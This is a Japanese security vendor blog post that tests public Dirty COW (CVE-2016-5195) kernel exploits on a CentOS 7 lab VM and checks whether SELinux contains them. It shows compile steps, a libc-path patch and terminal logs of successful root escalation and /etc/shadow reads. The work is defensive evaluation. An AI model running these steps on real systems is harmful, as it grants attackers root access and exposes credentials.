現在位置: ホーム / セキュリティ ブログ / Dirty COW (CVE-2016-5195) のExploit PoCとSELinux

Dirty COW (CVE-2016-5195) のExploit PoCとSELinux

先週末に公開されたLinux Kernelの脆弱性(Dirty COW)は広範囲に影響する問題であり、Exploitが多数公開されてしまっているため話題に上がっていますが、今回はそれらのExploitを実際に試し、RHEL/CentOSでデフォルトで導入されているSELinuxでそれらが保護できるかどうかの確認と、それらからSELinuxの限界を探っていきたいと思います。

こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面です。

先週末に公開されたLinux Kernelの脆弱性(Dirty COW)が今週かなり話題になっています。広範囲に影響する問題であり、対応方法もKernelの更新しか無いこと、Exploitが多数公開されてしまっていることが話題に上がっている原因ですが、今回はそれらのExploitを実際に試し、RHEL/CentOSでデフォルトで導入されているSELinuxでそれらが保護できるかどうかの確認と、それらからSELinuxの限界を探っていきたいと思います。


Dirty COWの簡単な説明

Dirty COWとは、簡単に言うとカーネルのメモリサブシステム内におけるcopy-on-write(COW)の取り扱いで競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊される問題です。これを悪用して、ローカルの非特権ユーザがシステムで特権に昇格することが可能になります。

Dirty COWのサイトからExploitの公開先もわかりますが、既にかなりの数のExploitが公開されており、更に実際の攻撃にも使用されていますので、早急な対応が必要となります。

さらに、今回の脆弱性はLinuxを使用している全ての製品(Androidを含む)が対象になります。

Androidの場合(最近のAndroidでSELinuxが有効になっているものになりますが)、今の所公開されているexploitだとハングしてリブートしてしまうだけですが、今後問題になる可能性もあるため、更にベンダーの情報をチェックする必要が有ります。


PoC: 公開されているExploitを試してみる

今回は、実際にgithubで公開されているExploitのうち

  1. cowroot.c: /proc/self/mem

  2. dirtycow-mem.c: /proc/self/mem

を試してみます。

PoC環境としては、VMWare Player上のCentOS 7.2を使用します。

PoCの手順として、最初にSELinuxを無効(Disabled)にした状態でテストを行い、その後SELinuxを有効(Enforcing)にした状態でテストを行います。


1. cowroot.c

実際にcowroot.cをダウンロードしてコンパイルし実行してみます。

実行手順は、cowroot.c中にコメントとして書いてあります。

  1. SELinuxが無効(Disabled)になっていることを確認します。

    [sios@cent7poc ~]$ getenforce
    Disabled
    [sios@cent7poc ~]$ 
    
  2. cowroot.cをコンパイルします。

    [sios@cent7poc ~]$ cd work/DirtyCow/cowroot/
    [sios@cent7poc cowroot]$ gcc cowroot.c -o cowroot -pthread
    cowroot.c: 関数 ‘procselfmemThread’ 内:
    cowroot.c:98:9: 警告: passing argument 2 番目の ‘lseek’ の引数を渡すときにポインタからキャスト無しに整数を作成しています [デフォルトで有効]
             lseek(f,map,SEEK_SET);
             ^
    In file included from cowroot.c:27:0:
    /usr/include/unistd.h:334:16: 備考: expected ‘__off_t’ but argument is of type ‘void *’
     extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                    ^
    
    [sios@cent7poc cowroot]$ ls
    cowroot  cowroot.c
    [sios@cent7poc cowroot]$
    
  3. cowrootを一般ユーザで実行します。攻撃が成功し、rootユーザになります。

    [sios@cent7poc cowroot]$ ./cowroot 
    DirtyCow root privilege escalation
    Backing up /usr/bin/passwd to /tmp/bak
    Size of binary: 27832
    Racing, this may take a while..
    /usr/bin/passwd overwritten
    Popping root shell.
    thread stopped
    Don't forget to restore /tmp/bak
    thread stopped
    [root@cent7poc cowroot]# id
    uid=0(root) gid=1000(sios) groups=1000(sios),10(wheel)
    [root@cent7poc cowroot]# 
    
  4. SELinuxを有効にしてOSを再起動し、SELinuxが有効になっていることを確認します。

    [sios@cent7poc ~]$ getenforce
    Enforcing
    [sios@cent7poc ~]$ 
    
  5. 先程のcowrootを削除し、cowroot.cをコンパイルします。

    [sios@cent7poc cowroot]$ rm cowroot
    [sios@cent7poc cowroot]$ gcc cowroot.c -o cowroot -pthread
    cowroot.c: 関数 ‘procselfmemThread’ 内:
    cowroot.c:98:9: 警告: passing argument 2 番目の ‘lseek’ の引数を渡すときにポインタからキャスト無しに整数を作成しています [デフォルトで有効]
             lseek(f,map,SEEK_SET);
             ^
    In file included from cowroot.c:27:0:
    /usr/include/unistd.h:334:16: 備考: expected ‘__off_t’ but argument is of type ‘void *’
     extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                    ^
    [sios@cent7poc cowroot]$ 
    
  6. cowrootを一般ユーザで実行します。攻撃が成功し、rootユーザになります。

    [sios@cent7poc cowroot]$ ./cowroot 
    DirtyCow root privilege escalation
    Backing up /usr/bin/passwd to /tmp/bak
    Size of binary: 27832
    Racing, this may take a while..
    /usr/bin/passwd overwritten
    Popping root shell.
    thread stopped
    Don't forget to restore /tmp/bak
    thread stopped
    bash: /root/.bashrc: Permission denied
    bash-4.2# id
    uid=0(root) gid=1000(sios) groups=1000(sios),10(wheel) context=unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023
    bash-4.2# 
    
  7. どこまで出来るのか、ある程度調べてみます。

    "id -Z"コマンドでユーザのコンテキストを見てわかるとおり、passwd_tドメインでシェルが動作しているため、touchでファイルを作成したりは出来ませんが、rootアカウントでしかアクセスできないファイルを読み出したりすることは可能です。

    bash-4.2# id -Z
    unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023
    bash-4.2# touch /tmp/ddd
    touch: cannot touch '/tmp/ddd': Permission denied
    bash-4.2# cat /etc/shadow
    root:$4$nlkpuc8k8mCpyLLSG9./::0:99999:7:::
    bin:*:16659:0:99999:7:::
    daemon:*:16659:0:99999:7:::
    adm:*:16659:0:99999:7:::
    nfsnobody:!!:17020::::::
    --snip--
    tcpdump:!!:17020::::::
    named:!!:17077::::::
    dockerroot:!!:17098::::::
    bash-4.2# 
    

2. dirtycow-mem.c

実際にdirtycow-mem.cをダウンロードしてコンパイルし実行してみます。

実行手順は、dirtycow-mem.c中にコメントとして書いてあります。

  1. SELinuxが無効(Disabled)になっていることを確認します。

    [sios@cent7poc ~]$ getenforce
    Disabled
    [sios@cent7poc ~]$ 
    
  2. dirtycow-mem.cをCentOS 7上で動作するようにlibcのパスを修正しコンパイルします。

    [sios@cent7poc ~]$ cd work/DirtyCow/dirtycow-mem/
    [sios@cent7poc dirycow-mem]$ 
    [sios@cent7poc dirycow-mem]$ diff dirtycow-mem.c.org dirtycow-mem.c
    30c30,31
    < #define LIBC_PATH	"/lib/x86_64-linux-gnu/libc.so.6"
    ---
    > //#define LIBC_PATH	"/lib/x86_64-linux-gnu/libc.so.6"
    > #define LIBC_PATH	"/lib64/libc.so.6"
    [sios@cent7poc dirycow-mem]$ gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
    dirtycow-mem.c: 関数 ‘get_range’ 内:
    dirtycow-mem.c:139:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=]
       sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
       ^
    dirtycow-mem.c:139:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=]
    [sios@cent7poc dirycow-mem]$ ls
    dirtycow-mem  dirtycow-mem.c
    [sios@cent7poc dirycow-mem]$ 
    
  3. dirtycow-memを一般ユーザで実行します。攻撃が成功し、rootユーザになります。

    [sios@cent7poc dirycow-mem]$ ./dirtycow-mem 
    [*] range: 7f3bb9ad4000-7f3bb9c8b000]
    [*] getuid = 7f3bb9b92db0
    [*] mmap 0x7f3bb98d0000
    [*] exploiting (patch)
    [*] patched (procselfmemThread)
    [*] patched (madviseThread)
    [root@cent7poc dirycow-mem]# id
    uid=0(root) gid=0(root) groups=0(root)
    [root@cent7poc dirycow-mem]# touch /tmp/ccc
    [root@cent7poc dirycow-mem]# ls -lh /tmp/ccc
    -rw-r--r-- 1 root root 0 10月 28 10:51 /tmp/ccc
    
  4. SELinuxを有効にしてOSを再起動し、SELinuxが有効になっていることを確認します。

    [sios@cent7poc ~]$ getenforce
    Enforcing
    [sios@cent7poc ~]$ 
    
  5. 先程のdirtycow-memを削除し、dirtycow-mem.cを再度コンパイルします。

    [sios@cent7poc dirycow-mem]$ rm dirtycow-mem 
    [sios@cent7poc dirycow-mem]$ gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
    dirtycow-mem.c: 関数 ‘get_range’ 内:
    dirtycow-mem.c:140:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=]
       sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
       ^
    dirtycow-mem.c:140:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=]
    
    
  6. dirtycow-memを一般ユーザで実行します。攻撃が成功し、rootユーザになります。

    [sios@cent7poc dirycow-mem]$ ./dirtycow-mem 
    [*] range: 7fef1be82000-7fef1c039000]
    [*] getuid = 7fef1bf40db0
    [*] mmap 0x7fef1bc7e000
    [*] exploiting (patch)
    [*] patched (madviseThread)
    [*] patched (procselfmemThread)
    [root@cent7poc dirycow-mem]# id -Z
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    [root@cent7poc dirycow-mem]# [*] exploiting (unpatch)
    [*] unpatched: uid=1000 (procselfmemThread)
    [*] unpatched: uid=1000 (madviseThread)
    
  7. どこまで出来るのか、ある程度調べてみます。

    今度は完全にrootアカウントになっており、"id -Z"で確認してもunconfined_tドメインでシェルが動作しています。そのため、SELinuxが有効になっているにも関わらず、ヤリタイ放題になっていることがわかります。

    [root@cent7poc dirycow-mem]# cat /etc/shadow
    root:XXXXXXXXXXXXG./::0:99999:7:::
    bin:*:16659:0:99999:7:::
    daemon:*:16659:0:99999:7:::
    adm:*:16659:0:99999:7:::
    lp:*:16659:0:99999:7:::
    sync:*:16659:0:99999:7:::
    shutdown:*:16659:0:99999:7:::
    --snip--
    avahi-autoipd:!!:16990::::::
    avahi:!!:17020::::::
    tcpdump:!!:17020::::::
    named:!!:17077::::::
    dockerroot:!!:17098::::::
    [root@cent7poc dirycow-mem]# touch /tmp/dddd
    [root@cent7poc dirycow-mem]# ls -lh /tmp/dddd
    -rw-r--r--. 1 root root 0 10月 28 11:02 /tmp/dddd
    [root@cent7poc dirycow-mem]# id -Z
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    [root@cent7poc dirycow-mem]# getenforce
    Enforcing
    

二つのPoCの違いとSELinuxの振る舞いの違い

1つめのPoC(cowroot.c)は、/usr/bin/passwdを使っているため、起動されたシェルもSELinuxによる制限を受けてpasswd_tドメインに限定されます。そのため、passwd_tドメインがアクセスできる範囲でしかアクセスが可能にならず、結果的に被害を局所化することが出来ます。

しかし、2つめのPoC(dirtycow-mem.c)はファイルシステムに書き込まず、メモリを直接いじって動作するため、PoCを行ったユーザのドメイン(unconfined_tドメイン)が引き継がれてしまい、通常のrootと同じSELinuxコンテキスト(unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023)と同じになってしまいます。


まとめと考察

今回の脆弱性を用いて、公開されているExploitを使うと容易に(5秒以内という話も有ります)一般ユーザでroot権限を得られることがわかりました。

殆どの場合、root権限を取ったVMは10秒程度でハングアップしてしまいますが、それでもroot権限を得ている間にパスワードを変更したり、色々な設定変更を行うことが出来るため、攻撃者にとっては充分な時間が提供されます。

また、今回の脆弱性はシステムコールを経由せずに、メモリを直接いじって任意のファイルを強制的に上書きすることが出来る脆弱性のため、ファイルシステムを経由しないexploitの場合には、SELinuxを有効にしていても防げないことがわかりました。

SELinuxは、LSMを用いてシステムコールをフックして強制的にアクセス制御を行うものです。そのため、今回のようなタイプの脆弱性対応には不向きです。

SELinux MLでも既に議論にはなっていますが、今回の問題をSELinuxで軽減する方法としては、ファイルに対してのアクセス制御で(1. cowroot.cの時が分かりやすいですが)一部軽減が可能ですが、メモリ上を直接書き換えてしまったり、vDSOベースのものには全く歯が立ちません。

ここで重要なのは、SELinuxもそうですが、全てのセキュリティソリューションには得意・不得意や適用できる範囲が決まっているということです。

SELinuxを用いて防げる脆弱性も多数あります。過去のケースで言えば、あのShellShockなど、大々的な脆弱性も防ぐことが可能です。今回のケースは、あくまでも「SELinuxが適用される範囲外の脆弱性だった」という事です。

よく言われる話ですが、「情報セキュリティ対策に銀の弾丸はない」という事で、魔法のような何でも対処できるソリューションは無く、多層防御で補ってやる必要があるということです。

今回のケースで言えば、ローカルのユーザによる攻撃はSELinuxなどでも防げませんが、そもそもリモートからローカルに入る所で防御することで安全性を保つということが可能です。

また、やはりRed Hat Satelliteなどのパッチ管理製品を使ってパッチ管理を確実に行い、脆弱性が発見・報告された際には直ちにパッチの適用を行うという運用も不可欠になります。


[セミナー告知]

11/30(水)に「OSSセキュリティナイター vol.3」と題して、セキュリティのセミナーを行います。

この回では、世界で最も利用されているオープンソースデータベースであるMySQLを取り上げ、『MySQLデータベースのセキュリティを考える 〜 重要データを守るために必要なこと〜』と題してセミナーを開催します。

今回も、前回に引き続き、ゲスト講師としてMySQLスペシャリストをお招きし講演をいただきます。

http://connpass.com/event/44819/がプログラム内容と申し込みの詳細になりますので、是非お申し込み下さい。

OSSに関するお困りごとは サイオス OSSよろず相談室まで

サイオスOSSよろず相談室 では、OSSを利用する中で発生する問題に対し、長年培ってきた技術力・サポート力をもって企業のOSS活用を強力に支援します。Red Hat Enterprise Linux のほか、CentOS をご利用されている環境でのサポートも提供いたします。

OSSよろず相談室

サイオスOSSよろず相談室(2)

問い合わせボタン

最新の記事
Sambaに共有以外のファイルにアクセスされる脆弱性(CVE-2017-2619) 2017年03月24日
Subscription-managerの脆弱性( CVE-2017-2663 ) 2017年03月22日
binutilsに複数の脆弱性( CVE-2017-6965, CVE-2017-6966, CVE-2017-6969, CVE-2017-7209 , CVE-2017-7210 , CVE-2017-7223, CVE-2017-7224, CVE-2017-7225, CVE-2017-7226, CVE-2017-7227 ) 2017年03月22日
linux kernelの脆弱性( CVE-2017-7187 ) 2017年03月21日
linux kernelの脆弱性( CVE-2017-6353 , CVE-2017-5986 ) 2017年03月21日
Ubuntu 16.10のkernelの脆弱性( CVE-2017-7184 ) 2017年03月20日
pcreの脆弱性( CVE-2017-7186 ) 2017年03月20日
binutilsの脆弱性( CVE-2017-6965 , CVE-2017-6966 , CVE-2017-6969 ) 2017年03月19日
MySQL(MariaDB) 5.5/5.6のmysql clientの脆弱性( Riddle : CVE-2017-3305 ) 2017年03月18日
linux kernelの脆弱性( CVE-2017-6951 ) 2017年03月17日
Apache Struts2の脆弱性 ( CVE-2017-5638 ) 2017年03月15日
linux kernelの脆弱性( CVE-2017-6874 ) 2017年03月15日
tomcatに情報漏えいの脆弱性( CVE-2016-8747 ) 2017年03月14日
QEMUの脆弱性( CVE-2016-9603 ) (Xen: XSA-211) 2017年03月14日
lxcの脆弱性(CVE-2017-5985) 2017年03月10日
wgetの脆弱性(CVE-2017-6508) 2017年03月08日
linux kernelに特権昇格の脆弱性( CVE-2017-2636 ) 2017年03月08日
( PoC ) linux kernel特権昇格脆弱性( CVE-2017-6074 ) の暫定回避策の確認 2017年03月06日
linux kernelの脆弱性( CVE-2016-9083 , CVE-2016-9084 ) 2017年03月03日
linux kernelに複数の脆弱性( CVE-2017-6345 , CVE-2017-6346 , CVE-2017-6347 , CVE-2017-6348 ) 2017年03月01日
Katello/Foremanによる運用管理 (Part4) 2017年02月28日
util-linux / coreutils の脆弱性(CVE-2017-2616) 2017年02月24日
linux kernelの脆弱性( CVE-2017-6214 ) 2017年02月24日
linux kernelに特権昇格の脆弱性( CVE-2017-6074 ) 2017年02月23日
curlの脆弱性 ( CVE-2017-2629 ) 2017年02月22日
QEMUの脆弱性( CVE-2017-2620 ) (Xen: XSA-209) 2017年02月22日
Tomcatの脆弱性 ( CVE-2017-6056 ) 2017年02月21日
Katello/Foremanによる運用管理 (Part3) 2017年02月21日
OpenSSLの脆弱性 ( CVE-2017-3733 ) 2017年02月16日
linux kernelの脆弱性( CVE-2017-6001 , (was CVE-2016-6786) ) 2017年02月16日
QEMUの脆弱性( CVE-2017-2630 ) 2017年02月15日
glibcの脆弱性(CVE-2015-8982, CVE-2015-8983, CVE-2015-8984) 2017年02月15日
vimの脆弱性 ( CVE-2017-5953 ) 2017年02月14日
Oracle Javaの脆弱性(Oracle Critical Patch Update Advisory - January 2017) 2017年02月14日
libxml2の脆弱性(CVE-2017-5969) 2017年02月13日
「linux kernel-4.9」でのLSMモジュールについて 2017年02月13日
linux kernelの脆弱性( CVE-2017-5970 ) 2017年02月13日
linux kernelの脆弱性( CVE-2016-8636 ) 2017年02月12日
bind 9 に設定依存の脆弱性 ( CVE-2017-3135 ) 2017年02月09日
bashの自動補完機能の脆弱性( CVE-2017-5932 ) 2017年02月08日
spiceの脆弱性( CVE-2016-9577 , CVE-2016-9578 ) 2017年02月08日
QEMUの脆弱性( CVE-2017-5898 ) 2017年02月08日
linux kernelの脆弱性( CVE-2017-5897 ) 2017年02月08日
linux kernelの脆弱性( CVE-2016-10208 ) 2017年02月06日
ntfs-3gの脆弱性(CVE-2017-0358) 2017年02月02日
QEMUの脆弱性( CVE-2017-2615 ) 2017年02月02日
tcpdumpに複数の脆弱性(CVE-2016-7922 等) 2017年01月30日
libgdに複数の脆弱性情報 (CVE-2016-9317, CVE-2016-6912, CVE-2016-10167, CVE-2016-10168, CVE-2016-10169) 2017年01月29日
OpenSSLに複数の脆弱性 ( CVE-2017-3730 , CVE-2017-3731 , CVE-2017-3732 ) 2017年01月27日
RunCに関しての脆弱性( CVE-2016-9962 )のPoCとSELinuxによるリスクの軽減 2017年01月26日
systemdの重要な脆弱性( CVE-2016-10156 ) 2017年01月25日
linux kernelの複数の脆弱性( CVE-2016-10153, CVE-2016-10154, CVE-2017-5547, CVE-2017-5548, CVE-2017-5549, CVE-2017-5550, CVE-2017-5551) 2017年01月25日
Katello/Foremanによる運用管理 (Part2) 2017年01月24日
linux kernel(KVMを有効にしている場合)で複数の脆弱性( CVE-2016-10150, CVE-2017-2583 ) 2017年01月21日
OpenSCAP 1.2.13のリリース情報 2017年01月16日
Oracle Javaの脆弱性(CVE-2016-5542, CVE-2016-5554, CVE-2016-5582, CVE-2016-5597, CVE-2016-5573) 2017年01月13日
bind に複数の脆弱性 ( CVE-2016-9131 , CVE-2016-9147 , CVE-2016-9444 , CVE-2016-9778 ) 2017年01月12日
Dockerに特権昇格の脆弱性 ( CVE-2016-9962 ) 2017年01月11日
GnuTLS の 脆弱性 (GNUTLS-SA-2017-1 : CVE-2017-5334 , GNUTLS-SA-2017-2 : CVE-2017-5335 , CVE-2017-5336 , CVE-2017-5337 ) 2017年01月11日
OpenSSLの脆弱性(CVE-2016-7056 ) 2017年01月11日
最新の記事 - もっと...